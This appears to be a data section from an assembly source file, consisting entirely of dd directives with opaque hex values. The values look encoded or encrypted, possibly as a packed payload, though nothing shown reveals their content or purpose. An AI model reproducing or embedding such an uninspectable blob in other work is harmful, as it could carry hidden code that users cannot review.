dd 0EF8A838Bh, 663910BCh, 0AFDAD36Ah, 0EFE207EFh, 9DACEFEFh
dd 8A9B8E8Ah, 818A99AAh, 0BCEFAE9Bh, 6A663910h, 0EFAFDAAFh
dd 0EFEFE207h, 9B8AA8EFh, 9B9C8EA3h, 809D9DAAh, 10BCEF9Dh
dd 0AB6A6639h, 7EFAFDAh, 0EFEFEF9Fh, 0CE9B2F6Ah, 0AB7A10BFh
dd 6AEFAFDAh, 62FF9A2Fh, 0AFFE3D6Ah, 10BF65EFh, 0EFEF8107h
dd 109304EFh, 0AFDAD37Ah, 0DE6A18EFh, 0EFEFAFDBh, 9B6FEFEFh
dd 0DA5A62F1h, 64EFAFDBh, 4BEBCB93h, 5D72644Ah, 64EFAFD6h
dd 0AFD6595Ah, 555264EFh, 0B2EFAFD6h, 0EF85B52Ch, 0EF85EF85h
dd 0EE87EF85h, 64EFEBEFh, 0BFEF852Bh, 2B64E385h, 0BBB90D10h
dd 0EFEFDCB0h, 350726DCh, 62101010h, 0AFFE4E7Ah, 0BEBEBDEFh
dd 0AF7A10BFh, 6CEFAFDAh, 652CCF2Bh, 0CDB0561Dh, 0FFDFEFEFh
dd 0D39EDAFh, 48CB2C16h, 1B6A0302h, 0E4C1337h, 3B1F7603h
dd 30A7017h, 1B3F0372h, 5FBE567Ch, 322C2307h, 6BDEB2BDh
dd 0E28186A8h, 0F97C93F7h, 29D00BD6h, 8CDB355h, 0A2C156E6h
dd 5ED5337h, 781A6590h, 0CAEF7344h, 6E37362Eh, 1E421377h
dd 3B1F763Ch, 36223A24h, 1B7F763Fh, 3567CD46h, 0A41F2344h
dd 7EFB2628h, 333E0367h, 0FFCB9CA8h, 30DFE307h, 4B4567D0h
dd 9BD700E4h, 62075367h, 3BAAF342h, 0A2215B57h, 5B1583A7h
dd 9E0786C8h, 0FBDA63C7h, 755E7718h, 96A8BC98h, 2B9FD342h
dd 42F0A847h, 4B6FB9A3h, 0CBFFEEA6h, 0BEC293F7h, 0BB9FF184h
dd 0E9D0D664h, 109F2F64h, 0D807398Bh, 0EE12FA07h, 0CBAF296Ah
dd 0A7F42854h, 55DF44BEh, 53087FC0h, 8BAEF314h, 2E6FD698h
dd 0AF0CD3B7h, 0F4DFA667h, 0B4911153h, 0DB9594D8h, 2B2792DDh
dd 0D35FE303h, 0B2E7397h, 0AEEF5618h, 2B8A5337h, 851A27C8h
dd 0CB85CCA8h, 5B7FEBF7h, 0ABA51333h, 6C538B46h, 0E3FFF27Dh
dd 1B3E4366h, 5EDF4608h, 0F1772307h, 0B46FB2D7h, 9BCA53B2h
dd 2B4A7BB7h, 0EF36E307h, 61D08C69h, 915C9AE7h, 7EF0591Dh
dd 7BDF967Bh, 482CC2BCh, 1B4AF31Ah, 2FC01337h, 0C4A09DB0h
dd 8BAFF5FFh, 5F6B0D67h, 948F9FBBh, 0BB2AABD2h, 38DA3ED7h
dd 0E8FF4330h, 0FBF21E7Eh, 0ADFA332h, 4DC7E09Ch, 18BFC3E5h
dd 0AB3AABCAh, 0FF90A3C7h, 3410CD54h, 6EAB062Ch, 0DB301377h
dd 0AEDAEC86h, 0AFB324h, 5B0AABE2h, 6AFF2CF7h, 0C8FDA6C8h
dd 0CEE4B397h, 0DBBF36FFh, 0A44EE348h, 0FBEC0A82h, 0D7A2F897h
dd 78BF83D2h, 0EA7EAC7Eh, 48692648h, 39073317h, 0D6807C5Ah
dd 0EBF95D8Ah, 5190E887h, 74760517h, 0FABC4717h, 68CFB9F4h
dd 0FB7574BEh, 0FEE2ABBDh, 0DBBF16B8h, 2B4F8F0Eh, 360B6807h
dd 0F4D13E93h, 30D93C18h, 0EB4257FAh, 1D9FA3C7h, 0CFA8BEFCh
dd 0F79BB10Ch, 502DB851h, 0F53763EDh, 0AFF37Eh, 903F29ABh
dd 38FB933h, 0F31F2347h, 193EF3BDh, 24AF0D4Dh, 6B7A7322h
dd 7F5CBB07h
dd 62E11BD7h, 4F34C3E7h, 2784531Dh, 7BF5E3ADh, 0A1BD313Dh
dd 32B1EBA7h, 0ABA51337h, 6BA009D6h, 0BE4B66E8h, 42604327h
dd 0EF802C72h, 4E0DE60h, 5B6F065Ah, 0AF460367h, 0A04F93BDh
dd 3A7A10E8h, 4B3F737Ah, 0D73A4EE7h, 140F1363h, 9B0A2E27h
dd 99EF734Fh, 6EE31658h, 0BD271377h, 775F6387h, 0FEC49C78h
dd 724D1317h, 0EE3BA81h, 9A494620h, 0A0AC6BBh, 4E005327h
dd 2B0FA6FFh, 8E93668Eh, 5F7F73D7h, 64D5E38Dh, 0DEE3C688h
dd 0BB1AA387h, 5DD04608h, 0D2981CDh, 0AAA5C7BCh, 3B4E8BD5h
dd 0EEFCF317h, 6E5D2623h, 2FD8390h, 9E734A31h, 1D6FD6B0h
dd 0EEB396D8h, 0EFC493F7h, 0EB89B551h, 9ED024C1h, 9BFFF637h
dd 0BC1F97F4h, 4EA33638h, 0CB853317h, 0CE8081CDh, 0AB8F2647h
dd 3B5E4B3Eh, 6A846417h, 4F1B4FEEh, 0C71A2CA0h, 0C81F6372h
dd 77CA3021h, 0DBFF4311h, 0BEB0C4E3h, 0BB9FD6B7h, 575BB312h
dd 9F4140A1h, 9FF0BD05h, 7BF5ABE3h, 5E10193Dh, 5B3FB60Fh
dd 77BBD3B2h, 3F628B14h, 429CF317h, 220FA0F6h, 2BB9EF72h
dd 7A375647h, 4B621D16h, 8BAB5327h, 7B1FC2E1h, 0D34A1C54h
dd 8E2F33A2h, 94CB9A27h, 0E32B2788h, 4DA32648h, 67073317h
dd 8807C5Ah, 9EF386C8h, 0A3B463C7h, 8A873796h, 0E4684367h
dd 2BBAEF62h, 0FACA47h, 2E24C28h, 83A75B27h, 2B665DB7h
dd 0BBD28607h, 0B2F7297h, 9BBFC3E7h, 0EB0F5377h, 28C9F2C7h
dd 0FEA7A6A8h, 2D483E7h, 0DE0F979Bh, 0F8B1817Ch, 0F8CEB14Bh
dd 765E0D02h, 9C0B792h, 8F7C462Dh, 7838EFA4h, 0B2A95C15h
dd 2B3AE7C5h, 0C9AB906Bh, 0B4116FBh, 0FADAB1A4h, 82493603h
dd 7BDEC6ABh, 0AA8A4114h, 3239E6D3h, 0CA82765Bh, 553613F7h
dd 0C8AFB270h, 6F5E2615h, 4FD8392h, 886C4624h, 392CB396h
dd 0BE8B6242h, 4422F6E5h, 0D38B8673h, 6F4E16E5h, 0FECD80E7h
dd 0BF6A2716h, 1AFAD1AFh, 0B9AC3333h, 3E0BE2C2h, 0C7A07C63h
dd 4B3306EFh, 0E5FCC124h, 734C3306h, 2E8FA798h, 0AF6B4A3Fh
dd 2A0AC1BFh, 0B2B90343h, 421BF6DBh, 0D48B866Ah, 7F5C0AC4h
dd 0F2EBAE82h, 0AC0F361Ah, 12D9D7A2h, 0BFAE563Bh, 3916F1D3h
dd 0D8AA6742h, 5E1863C6h, 0E7C6B563h, 61561002h, 0EC8D392h
dd 97766533h, 2606E7B2h, 0BEB80342h, 4F20DEC3h, 0F3BA8F72h
dd 674B1DF6h, 0DCBF8282h, 8E5B2712h, 12D9D3AAh, 0AAA1563Bh
dd 5B3EE6CAh, 0FFBB7670h, 6B2F0EE2h, 0CAC78776h, 6F5A0467h
dd 18FDB6A1h, 0FB714C2Eh, 1D1BD690h, 0B28C7142h, 530AFDD8h
dd 0D493E346h, 626317F6h, 0E9DEB185h, 0A60F120Eh, 12C9D3A6h
dd 0ADA04432h, 3E13EAE1h, 0CEBF5C37h, 573625E9h, 0FBCEBE72h
dd 7C512A17h, 1BC0D3B6h, 894F4D22h, 380AD0B8h, 0A9AF0354h
dd 582AF0D8h, 0FDEDD074h, 7F5C01FEh, 0F4CD93E7h, 987C3614h
dd 1ED191F4h, 98EF472Fh, 3239F7C2h, 0DF8E765Bh, 593611F3h
dd 0F8CA8762h, 7E6C4326h, 7E69583h, 96767722h, 273CB3B2h
dd 0DB8F6642h, 5F3CEAE4h, 0D28B8E62h, 647B16FAh, 0FED3AAA1h
dd 8E623A23h, 16F1F6C7h, 0A2B94336h, 3D30F4C2h, 0CEA37A71h
dd 49363587h, 0E7CE8663h, 74532F26h, 19D8D394h, 0BD7A572Eh
dd 4B0ADFBEh, 0BFBE7769h, 5F3CE6DDh, 0CDB69157h, 6C4A1FFEh
dd 0F4EBB082h, 0EB61361Ch, 9DCD789h, 0AE9B5232h, 3E13EAE1h
dd 0E8BB5D37h, 4F3E06F5h, 0E4DDA372h, 684C2604h, 28FB9DF7h
dd 8F7E4635h, 241DE3B2h, 0A88C6644h, 654FEBF2h, 0DEADA073h
dd 584A07F6h, 0F2CBA082h, 0A50F3D18h, 0BFEEEB3h, 0BC8A5A01h
dd 3E2CE5E8h, 0C4A66754h, 4F1163E9h, 0E5CA8358h, 7E532A21h
dd 24FB9DF7h, 0AB714637h, 2E0CDCA5h, 0B4AB7054h, 2B21F6DCh
dd 0C98F9749h, 684A07F8h, 0E9D69593h, 876E2603h, 14F2C68Ah
dd 85EF4A25h, 320DD4D3h, 0C2997643h, 5A2A17F5h, 0E6CABE7Bh
dd 1B463108h, 3EE3A7A5h, 947C4A29h, 3F3CD6B3h, 0BC916A55h
dd 450EFCE3h, 0CF8C8A74h, 6C411AE5h, 0DAEC94E7h, 996E2724h
dd 7BEFD6B3h, 0B8805F34h, 3810F0C2h, 0ABBB765Ch, 55310CE4h
dd 8BDB9072h, 734B2600h, 9FBA098h, 967E4D3Eh, 2E1DB3B2h
dd 0A8FF7544h, 2B2BFDD2h, 0D0BC8C74h, 422F07F2h, 0E9DAB789h
dd 0A87B3619h, 1EECCCABh, 0AF81521Fh, 127FE6CBh, 0D9AA6759h
dd 7C2B06E9h, 0E4EC8772h, 785A2D09h, 38EBB683h, 9E6B4233h
dd 3F01FAD7h, 0BE917142h, 4E3FDCC3h, 0F2DFA269h, 794A07F9h
dd 0D4CBA689h, 0BE613607h, 7BDECFB5h, 0AE9B5D1Eh, 2F1AEDD5h
dd 0CFAE7665h, 5E330AC1h, 0DDEBB217h, 28761326h, 27CBFDC5h
dd 9E4D230Bh, 2403F0B0h, 0BEB46654h, 4E1D93CEh, 0DEAFAC60h
dd 724A38F9h, 9BFEBBA2h, 0BA683625h, 2EDC6B2h, 0BE835201h
dd 1A07C6C2h, 0CCAA4137h, 6D2B06D4h, 0EEDA9F76h, 1B7E3B22h
dd 408A3A74h, 0FB77728Fh, 0C687B3D7h, 0B1FC276Bh, 7A4AF9B7h
dd 0BEB5B057h, 807FBF1Ch, 0F1EB9333h, 0B85D0237h, 4E6F3638h
dd 0F6C3317h, 0AFEA7CABh, 28CF5302h, 6C9C6B43h, 9E1E769Ah
dd 0E40C4327h, 18FB9A7h, 5F8ADC49h, 0CE6FF3E2h, 4B7B0CE7h
dd 7B4F93B7h, 0BBB62D6Fh, 61FBF897h, 0F17348E7h, 0EB0F3B37h
dd 79F5A3D7h, 0A3EF5905h, 5B7FEA69h, 0F89E135Dh, 0DFCA9CD7h
dd 0D4AFB322h, 27AABC3Eh, 0EE8F93C2h, 704357B8h, 0B7A3B5Ah
dd 56F3E027h, 6B5F9322h, 0EC0EE007h, 80FD8CC4h, 0DB8A1762h
dd 7F80DE77h, 939FA3E4h, 3410CC03h, 6E97062Ch, 24421377h
dd 3B5F4066h, 7450B0FFh, 0C3BAC898h, 0E68F93C2h, 0FB3CCBC8h
dd 0B45D5BD7h, 5E74FCD8h, 2B0FA66Bh, 0B0AB2382h, 28DAFC1Ah
dd 8657C3E7h, 60F0AC88h, 2E5CFC00h, 0CBEF33BFh, 0B6FEDEA7h
dd 0AB8F0923h, 0BED2AAB4h, 8BEFEEB9h, 4A6E1736h, 94DE82A7h
dd 0BB2A4FD2h, 6F6B34D7h, 0EEC396D8h, 0E91293F7h, 538AE303h
dd 0B2F7397h, 0D85242BAh, 810F136Dh, 750A2E38h, 9BEF734Dh
dd 7F5F4EF5h, 28CF3937h, 0FC396F43h, 0CBB5A792h, 0DC1F8E67h
dd 2B958572h, 0D11F0747h, 21ACEED7h, 24FE6926h, 2F3C6C84h
dd 7B5AF6F8h, 4783E3h, 10BFC3E7h, 0BB0C08A7h, 92A2EFBh
dd 40EF734Dh, 5B7E8F1Dh, 0A3459837h, 385F6386h, 0EB64D8EFh
dd 0BDCC88ECh, 2C8AA796h, 39F4D6A5h, 1C607454h, 50ACD7ACh
dd 411BC37Bh, 0D18DB247h, 0FBBA8C68h, 18BF83D2h, 7E845FB3h
dd 7BDF96B3h, 216CE47Ch, 317844A0h, 22CFFB37h, 519C60D0h
dd 8247AB0Dh, 963F4367h, 9525B2B5h, 38EF568Eh, 7D2926BEh
dd 5FFA0367h, 0A20D9BBFh, 0FBE9A592h, 0C8CD8497h, 9BBF2BB2h
dd 6A525377h, 3B84AA2Ah, 8172B857h, 0D87FC391h, 0ABC7374Bh
dd 3BE6E788h, 672EF317h, 1B3F416Fh, 6A8BBBA3h, 6EE02347h
dd 4B2F8647h, 5F72FFACh, 2B4E9793h, 0BBB5B307h, 0B2F777Fh
dd 0CFED95E7h, 7EF00477h, 7BDF964Bh, 5C62FA64h, 5B7F82A3h
dd 0A9A54266h, 535E09D6h, 0CBAFF317h, 47AABC35h, 0FD8F93C2h
dd 0A06BD5C2h, 4F07E787h, 8CFF0326h, 0B6B2748h, 44DFE305h
dd 4B195B02h, 5B3A9AE7h, 0FFEC4503h, 114B2897h, 9CBE6157h
dd 97EA7CF1h, 0F2CF5302h, 0EB2AA302h, 0B73A0C41h, 963F0352h
dd 3CDD97A0h, 7647672Dh, 4B6EB740h, 1BCCA827h, 0D81683DDh
dd 0EB8FB3ACh, 5B7F23C7h, 0FF2A3CB5h, 6A0F1342h, 7B9DAB03h
dd 0EF9BCC57h, 43EA7CAFh, 0F8CF5301h, 0D47F678h, 49F2F357h
dd 25BF4363h, 2D8EA6FDh, 0EE9BAECCh, 528CB397h, 0CBFF96AAh
dd 0FA4C93F7h, 3F0D1C51h
dd 14A77C57h, 94BFC3E6h, 0EB0E43F3h, 41A123C7h, 4BA92322h
dd 0DF708399h, 0ABCF1236h, 4E7F5D07h, 0B52EB5E6h, 5C710A37h
dd 0A4049182h, 0B41E6581h, 213E7DFCh, 88A95227h, 1D5F0648h
dd 8086E347h, 0D4AA7C56h, 16BFC3E7h, 0AB12F1F2h, 139FC9C7h
dd 0CBEF335Bh, 0CE80D0F7h, 0AB8F2527h, 3B5F6FBAh, 342AFC17h
dd 0F23F4367h, 6B8FD346h, 0A94F1DC6h, 0CE60E59Eh, 0DBFF0382h
dd 87475534h, 3FD0EE3Bh, 0B2F730Eh, 68CAE3DBh, 0E4356FDBh
dd 7B9F2F42h, 0EBE29E57h, 665FA387h, 0DFAA7416h, 7F31CF2h
dd 0AD38637h, 731FBC19h, 1AFAA783h, 8B1C5DC6h, 3E409CEDh
dd 24B8C54Fh, 917E9CB7h, 0BBDFC417h, 0F47D9160h, 0DB8A7F72h
dd 0BBCF6077h, 93CFF397h, 0CBEF335Eh, 3508ECE3h, 0CFAE7C5Bh
dd 1BCA9C87h, 0EAFB321h, 280937A7h, 210A5A3Eh, 0AA1F6371h
dd 4B6DB3BFh, 8DAE52A7h, 0FDA6CE7h, 36DFA331h, 4B347002h
dd 528C93E7h, 0B95F0223h, 0EE60F296h, 0CBAF063Bh, 0A45B8720h
dd 0EBFA2FA2h, 0BB9C9B87h, 0CBBA849Ah, 0D8C64267h, 3FC99CA4h
dd 0BE4D6210h, 2806FE8Bh, 0B48C6C55h, 7C13E7D1h, 0D4BB8D6Eh
dd 487300E0h, 0FECDB192h, 8E592719h, 14F6D0B5h, 0B3AA6F39h
dd 2910EFD7h, 0FFCF6152h, 5E3811E6h, 0F8C0BB63h, 1B3D4313h
dd 6B8F2308h, 896F2347h, 2606CBB8h, 0B88D6A09h, 4A23F2D0h
dd 0CBF19A7Fh, 426173FBh, 0EA9F88A4h, 9B763506h, 71EBC9B4h
dd 99AA6002h, 694FF087h, 9AFF2607h, 157F4DA7h, 0C182C937h
dd 3B710A28h, 19E6A5D1h, 0AE155633h, 4B6FB33Fh, 367E5E27h
dd 2B0F8E03h, 0AEA866C1h, 0F42F73D7h, 0DB8A5772h, 0F4E79277h
dd 65F59FB3h, 0FEBF86DCh, 0F72683E7h, 81BA3D0Bh, 0C461E2E1h
dd 68C860Ah, 5B0903DAh, 69F958F7h, 5E798610h, 7805365Ah
dd 5E700367h, 2B0FA027h, 41996AFDh, 0F0D13D1Bh, 545DC256h
dd 6E82109Ch, 7BDFB676h, 0A1EF5907h, 0FFEA7CA9h, 28CF5302h
dd 3F5747FBh, 8F47D862h, 483F4367h, 948F90B1h, 0BB2AABD2h
dd 0B7275BD7h, 0DC17FCD8h, 784F93B7h, 0F480A041h, 9ED073C4h
dd 9BFFF66Fh, 14F3629Fh, 88C94B38h, 4610CCA8h, 5B3F90A4h
dd 0ABCF18DFh, 7E0C3687h, 0A59DC045h, 1B730F23h, 5E134608h
dd 0F1F72307h, 3C6FB3D7h, 0B28D7354h, 6A29E7D9h, 2E20B307h
dd 0B6F46DFh, 0AEEB466Eh, 0DA005337h, 637F2E4Ah, 4E663317h
dd 5B3FB5E1h, 375AEC66h, 0A85F23B2h, 8BAFF77Fh, 0F68ACE67h
dd 328F93EFh, 0CD339ECAh, 9D87B397h, 0BD00FCD1h, 36281670h
dd 4B20E347h, 1646D614h, 16BFC3A7h, 0AB1274E2h, 11CBF3C7h
dd 99EF5956h, 5B7F81CFh, 9B5AECB7h, 0BE5F23B1h, 0A9DAA9D7h
dd 665CEEAh, 1DDD3B7h, 9CAAAE41h, 1F6FF3CAh, 8AAF5371h
dd 1FDA6CE5h, 0E3DFA331h, 3D03E668h, 1E79C3A7h, 0EB4F6B3Ah
dd 7B934BC7h, 98B83357h, 6834C0E8h, 0E78B3D05h, 0AEA063CBh
dd 8BEFC68Bh, 1B382BF4h, 0DE02D3F7h, 0FB5F3B03h, 0B7D23E8Eh
dd 33FF4312h, 0D4B065E6h, 0BBDFEFEFh, 45662497h, 0CFFA8DAEh
dd 0A7431759h, 0E70A5CC7h, 4EEF7362h, 0BCFB8C67h, 38CF1336h
dd 3B5F66EFh, 91A7E17h, 423F037Fh, 5D976E7Ah, 0E1F72307h
dd 0C8904C21h, 9BC91F9Ah, 0AF4093B7h, 0BBDFE2C5h, 0ABF9F16h
dd 0F3EBC3E7h, 0EB0F5276h, 4E633638h, 0F6E3317h, 5B7F8237h
dd 0C11B9867h, 0AEA03187h, 8BEFC50Bh, 6E6683E2h, 7807BBFAh
dd 6EE02347h, 4B2F866Bh, 667CE1CCh, 2B0F8EDEh, 36F69607h
dd 4B321E12h, 0E4093E7h, 0EB4F657Fh, 0FF906342h, 0CBEF326Ch
dd 0D073C32Ch, 24FFEC37h, 7B420A02h, 0C62A3517h, 1A3F035Fh
dd 6AE5D39Dh, 6EE0212Dh, 4B2F85C3h, 0D400FBA4h, 2B4E8133h
dd 2E527007h, 0B6F6EF2h, 0C8EDD38Dh, 0DD0BC688h, 0BB1AA387h
dd 0CB1DB658h, 0E6F283A7h, 0AB8F0EB1h, 87B76B36h, 0E3500CEDh
dd 1B3F43F3h, 0E269F8A9h, 44B0773h, 0B5A2B42h, 4F428E27h
dd 9A4FD3AAh, 41420B06h, 4FA48C68h, 7B7ED3C3h, 0CF4B587Fh
dd 737F62C3h, 0C3CB775Ch, 5B7A6BF7h, 85EA1337h, 6C5F1BB1h
dd 0BEFB66E8h, 0DFBC4327h, 6DC815FBh, 7A8AAE67h, 216FF3CAh
dd 0DBDE6B27h, 781D93B7h, 8DCF76F8h, 77A273D7h, 64E8D7C3h
dd 0AB3A0BE2h, 439B65C7h, 0CB85735Dh, 0A42CD4F7h, 0EBF903A2h
dd 0B6B96087h, 0CBB251AAh, 733F2967h, 6B8FD3FBh, 6EE07010h
dd 4B2F85C7h, 0DBFF0F1Ah, 0A602E6B7h, 0FBE9ADB2h, 46A2FE97h
dd 0B0BF83DFh, 0BA0F39B9h, 0EE60F091h, 0CBAF055Bh, 257F7B24h
dd 55448218h, 0D11D60Ah, 861FF357h, 0B4AED95h, 91773B97h
dd 897EDCB8h, 0C66650C0h, 31140250h, 0E5645C3Ch, 8D915E8Ah
dd 0AFDC73D7h, 22543460h, 0EB9AAC24h, 0FB9FE3F1h, 8BFA44EAh
dd 710B82A7h, 0ABBA235Fh, 87CA9C87h, 0BAFB322h, 5B070EDAh
dd 7AFBD3F7h, 0E676A680h, 4B6FB397h, 5E390327h, 2B0FABFAh
dd 45890A07h, 8EE88C68h, 9BFFD667h, 6B0F5377h, 7B9B619Ah
dd 0EBA0395Ah, 3510ECC9h, 8BA97C17h, 5E390AEBh, 0ABE0D336h
dd 7E522A13h, 4BE0A7D7h, 9E734624h, 3F0EC1B5h, 0D1F22242h
dd 0B6FB397h, 0C8FFAC27h, 6E421EE2h, 0FAD8E395h, 856A3705h
dd 2995AEE6h, 0A58A5F32h, 281AEFD3h, 8BB67F44h, 4B2F02EFh
dd 0E5CED36Eh, 635A6303h, 1FECB687h, 0D76B4D26h, 2A1BC0F7h
dd 0B5966749h, 66FA9D0h, 0DA88E90Ah, 624710E3h, 0FA9FA489h
dd 8F2F3F1Bh, 1ABFDAA6h, 0A5CF5739h, 2F17E4CEh, 0C4A9331Bh
dd 493943F5h, 0EFC1967Eh, 3B766314h, 1FE6B280h, 0AC152E7Dh
dd 2E1DD6BFh, 0BE8D6207h, 5E20EA97h, 0C9B9C32Bh, 6F4116FEh
dd 0D89FFC94h, 0CA6A3E18h, 5BEBEAE7h, 0BFCF403Eh, 7A1AEECEh
dd 8CBB5A17h, 5A3343F4h, 868E9663h, 0CF46AE6Dh, 5CDD9BB8h
dd 5D0B0A07h, 0FA9556C7h, 0B5066900h, 0ECCB97D7h, 1086B437h
dd 0AD3B60ADh, 21284F7h, 87C30F15h, 85EDD05h, 0F5AC324Dh
dd 0E3CCD1F2h, 0BDD79DEFh, 3B5F6368h, 8BAFF317h, 1B3F4367h
dd 6B8FD3F7h, 0FB1F2347h, 4B6FB3D7h, 0DBFF0327h, 2B4F93B7h
dd 0BBDFE307h, 0B2F7397h, 9BBFC3E7h, 0EB0F5377h, 7B9FA3C7h
dd 0CBEF3357h, 5B7F83A7h, 0ABCF1337h, 3B5F6387h, 8BAFF317h
dd 0BEBC2367h, 6BCFEA51h, 51BAA047h, 4B6FF3EEh, 0CFBCB428h
dd 2457C03Ah, 0B8D9A8B0h, 2F6BF847h, 97FDE8C3h, 0A9344A05h
dd 0F08BD0CFh, 89C42715h, 0FDEA0AABh, 22CF530Eh, 7B66C902h
dd 8AA1817h, 0C2DD6BA5h, 6B8B1196h, 0D9E8A6CFh, 2F87B397h
dd 0B3FF0327h, 2B4F9397h, 99FB668Ah, 327673D7h, 18B3B7FFh
dd 1CED57B7h, 42112638h, 3C2C3317h, 0ACF2807Eh, 48CF5315h
dd 0C72F9C97h, 632CF398h, 92C9A163h, 2BADF76Ah, 0FB25A047h
dd 7944B6A3h, 56EF7124h, 70176FF9h, 0BBE56059h, 39D077E3h
dd 0E940C00Ch, 1458BB67h, 0B5B45C38h, 0F245BE7Ch, 582783E7h
dd 240C277Ch, 7B66F102h, 52A3417h, 1B3F035Eh, 838FD3F7h
dd 0FB1F237Bh, 72E1365Ch, 0AE170367h, 0C3B06C40h, 0BBDFE31Fh
dd 32A1CE14h, 0EEBFC3A7h, 4B92DA7Fh, 909FE3E5h, 4562CCCBh
dd 987FC39Eh, 925D96B8h, 0AED663C7h, 8BEFCA99h, 1B3F408Fh
dd 0A846E0F7h, 0FB9FB0CCh, 0A33DB3D7h, 2400FDCAh, 12E506B4h
dd 6DDCE347h, 0B230914h, 9AB847E8h, 918C5377h, 0FF90A3D7h
dd 0CBEF33AAh, 0B73C12Ch, 5431DBDFh, 91DA6078h, 88AFB32Eh
dd 13B513A1h, 1F8F2A77h, 0D5E6A35Eh, 0A02FB0A3h, 0DAB788D6h
dd 0F4907236h, 425E3CD8h
dd 0B633FD3h, 0B0E62F92h, 11F6D0BFh, 7B282CC8h, 4A893357h
dd 694C7DDFh, 0AB649638h, 0B8096387h, 8EDAF32Dh, 0F02F09ECh
dd 688558F5h, 89F772B6h, 48904C29h, 9BC6A992h, 0EBCA3EB7h
dd 3FD0187Fh, 0B2F7313h, 0A2157618h, 35F5337h, 84605D92h
dd 0F245B654h, 0DEF083E7h, 0AB8F2A9Dh, 687B6784h, 0B8AD3394h
dd 13894CBCh, 0A20FC114h, 0DFDE7067h, 5746B7F3h, 0FFF32A03h
dd 0C2A4D3ECh, 6CD01886h, 355BAE2Ch, 0DE173866h, 0DD7B8819h
dd 40C65846h, 0E59BCCF6h, 79A97826h, 8DBBBF82h, 0D2CC9806h
dd 95DB004Fh, 0F242B8E6h, 7DFB20AFh, 0C459D8C6h, 451B52F2h
dd 0E4CFF8A6h, 2D3B7292h, 824D76F8h, 0E27473D7h, 64403C96h
dd 0FFCDD029h, 84614C2Eh, 0A1EEF0A8h, 4E97DBA3h, 2330ECC1h
dd 7B7BB212h, 0BA179517h, 0DBDD417Fh, 898DD013h, 0FD758821h
dd 0BE955B8Fh, 197CFCD8h, 419E14BFh, 5637BB02h, 8BD08C62h
dd 90CCC01Dh, 6E0D03C7h, 7BDF8716h, 0A1C8D8FDh, 0DBD5DBCFh
dd 0B3BA10CDh, 0F6B77237h, 33500CE2h, 1B3F4366h, 66FB0173h
dd 31E1C396h, 4E84453Ch, 0DBFF039Fh, 94AD3837h, 87626EC4h
dd 0FC2F33A3h, 0DB8BF262h, 0EB0F5377h, 0CB9CD747h, 4E189937h
dd 5B3FB796h, 0AACF1334h, 3BA9E788h, 0DE17F317h, 0B0D7AFECh
dd 0FD325A5Ch, 4B1F637Eh, 0BCC4193Fh, 9BCB32A2h, 2B4F93B7h
dd 21626A06h, 7F2F33AEh, 0AA3A34ACh, 0EB0F1343h, 0C39DA3C7h
dd 0FD105730h, 3CC786D2h, 0E19853h, 3B5FDBE1h, 88DB5871h
dd 0EC951ED7h, 2BBBE272h, 0FB1F2347h, 26E20BDFh, 0CD8A032Fh
dd 1F7E1640h, 0BBDFE347h, 88977797h, 0EFBFCB22h, 68CEB72h
dd 3434A33Fh, 0FFDEB6A0h, 5B7C83E7h, 0AFBB1337h, 90F58A37h
dd 0B239769Ch, 0D4B44327h, 23061BDCh, 0CA9AD4BBh, 486FF3E3h
dd 0AFFF0327h, 4F282BE8h, 656D5F8h, 0B6F4A09h, 9BBF7B4Ch
dd 53A43710h, 7B9F854Eh, 3552DBFCh, 7BCF7C58h, 5433DCDFh
dd 5D668078h, 0EDBA0CAFh, 9094D2CCh, 2BBBE262h, 0CCDD447h
dd 4B6FB015h, 33EB7627h, 0D4B06D20h, 1237FCB7h, 6DD08C6Bh
dd 0FDAA3C5Fh, 60A4C2DCh, 0E51A2808h, 0E0EF736Eh, 0A7370A6Fh
dd 9FFE96C0h, 3B5B63C7h, 99DBF317h, 0E5FF6ADFh, 6337783Fh
dd 501B5787h, 0A097C66Fh, 5E08A840h, 2B0FA786h, 0BBDFE30Fh
dd 0B6AF39E2h, 9BFFF7C8h, 534E2777h, 0B2B6BBEEh, 0FFC4965Dh
dd 0BFBF83E7h, 806A1934h, 905F23B3h, 10542A7h, 5B0B6CE2h
dd 2B3F79F7h, 0CF34A64Dh, 2DC5B397h, 2C02E19Fh, 6B7BA232h
dd 0BBDFF307h, 0BB280797h, 23D969AEh, 4069AF02h, 48354B77h
dd 76669897h, 5B3FBA25h, 9FFE96C0h, 3B7F63C7h, 82DAF317h
dd 9E351BD7h, 6BCFE7DEh, 7AA745EDh, 7AEA4417h, 9BFF4313h
dd 5F4F93B7h, 931B6304h, 3F06D69Dh, 30D9C3A7h, 0D289EEFEh
dd 8C34A387h, 8BDB02D2h, 5B7F83A7h, 1BC66677h, 12DA61D7h
dd 21AFB323h, 2F0EC690h, 6B0FD3B7h, 0F06A2347h, 0CE650B67h
dd 0DBBF370Dh, 4D72781Dh, 4CC7D2BFh, 4B1B4212h, 9BBEC3E7h
dd 5B0D2777h, 513AA9EEh, 0BEF7363h, 0FE758043h, 0AB8F271Dh
dd 8339C8E1h, 0E580396h, 1B7F7756h, 6B8FD1F7h, 33AB2132h
dd 7F4516DDh, 70990367h, 12ED2E3Eh, 8767E347h, 0A02F73B3h
dd 0AF8E4610h, 0EB075337h, 17EBA3C7h, 0FFDEB6A0h, 5F7F83E7h
dd 0A0BA1337h, 0BE55DB37h, 8BEFC73Ch, 0EC72A8CDh, 2BBBE272h
dd 0FB172347h, 2D7EC6D7h, 0D11F809Fh, 6B7BB812h, 88748507h
dd 1EC4D957h, 83967B81h, 0DF24F67Dh, 9F5FA387h, 0E04A3954h
dd 3D7FC393h, 9A4AE49Ch, 3B5F23B3h, 0EDAFF307h, 6FFFC2DFh
dd 634B53F4h, 0CF34864Dh, 0E009B397h, 0F47AB528h, 804FD383h
dd 8FEE66F0h, 0B2F73D7h, 92CB83E7h, 6E0D03C7h, 7BDF97EEh
dd 0FA6AC4FDh, 5B7FC393h, 1BCF1317h, 3F5D1601h, 75E07E13h
dd 2F16E6EDh, 0E606D3B7h, 0FB5F1ACDh, 0B7EF18B1h, 6BF87622h
dd 0D40013B7h, 3E284947h, 0B6F47A6h, 9BBF83E7h, 0DA69EB11h
dd 522BA1B2h, 0D35F9831h, 6F5406ADh, 4B0F1377h, 0B3EFC984h
dd 0BF9E76E0h, 9B3F4327h, 69FAD3F7h, 5E95A5F7h, 4B2F87FEh
dd 277FA841h, 9B48E6B2h, 44906307h, 8ED8D9D7h, 9BFFF7D6h
dd 0EB0E5377h, 3B2FA8B2h, 0FFC6B65Dh, 0B0D583E7h, 28777538h
